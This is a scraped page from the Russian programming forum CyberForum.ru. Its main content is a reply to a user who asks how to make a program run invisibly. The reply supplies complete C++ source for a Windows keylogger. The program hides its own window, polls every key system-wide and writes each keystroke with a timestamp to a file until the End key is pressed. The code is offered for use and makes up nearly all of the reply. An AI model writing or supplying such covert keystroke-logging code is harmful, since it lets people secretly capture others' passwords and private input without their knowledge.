Форум программистов, компьютерный форум CyberForum.ru

а как сделать так - C++

Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ найдите ошибку http://www.cyberforum.ru/cpp-beginners/thread356244.html
Given natural number n. Calculate the expression shown on image Note that sin() function accepts values of type double. #include <iostream> #include <cmath> using namespace std; int main(){ int n; cin >>n;
C++ переделать из турбо паскаля в Cи Помогите переделать именно эту программу в Си uses crt; var a,b:integer; function NOD(x,y:integer):integer; Begin If x<>0 then NOD:=NOD(y mod x,x) else NOD:=y; End; function NOK(x,y:integer):integer;Begin NOK:=(x div NOD (x,y))*y; http://www.cyberforum.ru/cpp-beginners/thread356240.html
Чтение из файла C++
Прошу помощи в чтении данных из файла. //FILE *f; //Переменная для чтения фала; //AnsiString pol; //указатель на имя пользователя; //int i = 0, j = 0; //Счетчик; //AnsiString name = Edit1->Text; //Имя введенное для авторизации; //char *polz; //f = fopen("name.txt","r"); //Чтение из...
C++ Чтение из файла
Вывод из файла делаю с помощью следующего кода: AnsiString pol; . . . f = fopen ( "name.txt", "r" ); fscanf ( f, "%s", &pol ); Edit2->Text = pol;
C++ Не получается сделать 3 класса шаблонными. http://www.cyberforum.ru/cpp-beginners/thread356213.html
Есть три класса + функция main, в которой используются эти классы. Все работает. Сделал эти три класса шаблонными. В main в объявлении дописал <тип>. Но программа не работает. Если не использовать классы в main, то программа запускается. Ошибки такие: 1>main.obj : error LNK2001: неразрешенный внешний символ ""public: __thiscall List<int>::~List<int>(void)" (??1?$List@H@@QAE@XZ)" 1>main.obj :...
C++ Рисование квадрата с разноцветными сторонами Есть задача - запрограммировать игру, примерно такую. Фигура состоит из квадратов. Игроки ходят по очереди. За один ход - можно отметить какую-нибудь сторону квадрата. Кто отмечает последнюю сторону в квадрате - на этот квадрат записывается на его счет. Выигрывает тот, на чьем счету больше квадратов. Вопрос. Чем рисуется квадрат в C++, с возможностью изменения цвета как квадрата, так и... подробнее

Показать сообщение отдельно
xAtom
914 / 739 / 60
Регистрация: 09.12.2010
Сообщений: 1,346
Записей в блоге: 1
25.09.2011, 22:53
Цитата Сообщение от Van111 Посмотреть сообщение
нужно чтоб при запуске програма работала не как приложение а как процесс то есть юзеру была не видна
Имеешь ввиду как работают Windows-службы в системах-NT, я вот тут набросал не большой код простого консольного приложения "человека-невидимки" времени нет службу паять, вот код только для ОС Win NT.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <windows.h>
 
int main(void) {
   SYSTEMTIME  tm;
   int   key;
   FILE* fp;
   HWND  wnd = GetForegroundWindow();
  // уменьшить приоритет процесса
   SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
 
  // файл для сохранения информаци о нажатой клавиши
  if(!(fp = fopen("D:\\keys.txt", "w+")))
       exit(1);
  fputs("Символ\tASCII-код\tДата/Время\n", fp);
 
  ShowWindow(wnd, SW_HIDE);
  while(1) {
       for(key = 3; key < 256; key++) {
           if(GetAsyncKeyState(key)) {
                 GetLocalTime(&tm);
                 fprintf(fp, "%c\t%d\t\t%d-%02d-%02d  %02d:%02d:%02d\n", 
                 key, key, tm.wYear, tm.wMonth, tm.wDay, tm.wHour, tm.wMinute, tm.wSecond);
                 break;
          }
       }
       // при нажатие на клавишу End(процесс закрывается)
       if(GetAsyncKeyState(35)) 
           break;
       Sleep(100u);
   }
   ShowWindow(wnd, SW_SHOW);
   fflush(fp);
   fclose(fp);
 
   system("pause");
   return 0;
}
При запуске проги она исчезнит и будет сохранять в файл сведения любой нажатой квлавиши в системе, для закрытия процесса клавиша End(с работает в любом месте).
 
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru